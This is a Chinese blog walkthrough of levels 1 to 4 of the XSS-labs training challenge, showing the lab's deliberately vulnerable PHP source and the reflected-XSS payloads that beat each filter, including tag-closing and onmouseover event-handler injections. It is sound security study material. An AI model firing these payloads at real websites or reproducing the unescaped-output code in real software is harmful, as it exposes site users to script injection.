XSS-labs通關挑戰(xss challenge)
- 2021 年 1 月 16 日
- 筆記
- XSS, xss challenge, XSS-labs, 滲透測試
XSS-labs通關挑戰(xss challenge)
0x00 xss-labs
最近在看xss,今天也就來做一下xss-labs通過挑戰。找了好久的源碼,終於被我給找到了,因為在GitHub上大家也知道那個下載速度,所以,我也就直接轉接到自己的碼雲上去了,在這也貼出來,歡迎大家下載使用。
源碼鏈接請點擊://gitee.com/ruoli-s/xss-labs
安裝沒啥好說的,直接放進自己搭建好的www目錄下,就可以開始闖關了,xss-labs一共有level 20,做著看吧。
(其實覺得這些圖片才是我真正想做xss challenge的最大原因)
0x01 Level 1 無過濾機制
看了半天,原來參數在地址欄里放著呢,
修改參數,頁面也隨之變動,右鍵查看源程式碼,發現有跳轉到level 2 的JS
,而我們傳入的參數是幾位的,下面就顯示payload的長度。
OK,直接走程式碼:
<script>alert(/xss/)</script>
0x02 Leval 2 閉合標籤
我們直接輸入level 1 的 payload
,發現直接輸出了,這裡應該是做了實體轉義。
F12
查看源程式碼:
第一處就是顯示在頁面上的程式碼,第二處是我們輸入的程式碼,這裡應該是做了轉義,我們構造payload,使用">
嘗試閉合input
標籤:
"><script>alert(/xss/)</script>
0x03 Leval 3 單引號閉合
和htmlspecialchar()
函數
來到Leval 3,我們還是先使用上兩關測試的payload來驗證:
發現全部被實體轉義了,我們去看源程式碼:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>歡迎來到level3</title>
</head>
<body>
<h1 align=center>歡迎來到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>
咳咳,發現對雙引號「
做了限制,但是卻放行了單引號'
,而且居然在value這裡也加了htmlspecialchars
函數,這種情況我們可以通過事件標籤
觸發表單執行。這裡開始構造payload:
'onmouseover='alert(/xss/)
可以看到,在提交之後,沒有立刻彈出,這裡我們還需要將滑鼠移動到文本框,讓事件觸發。
補充:
0x04 Leval 4
我們還是一樣,使用前面測試過的,先一一過一遍,當然,結果必然是失敗的,那麼接下來我們看全端程式碼:
可以發現源程式碼對>
和<
進行了過濾,我們看源程式碼:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
確實使用str_replace()
對尖括弧
進行了過濾,而且對單引號'
做了防禦,所以,我們直接模仿上一題,使用HTML事件,構造payload:
"onmouseover="alert(/xss/)
這裡也是成功過關。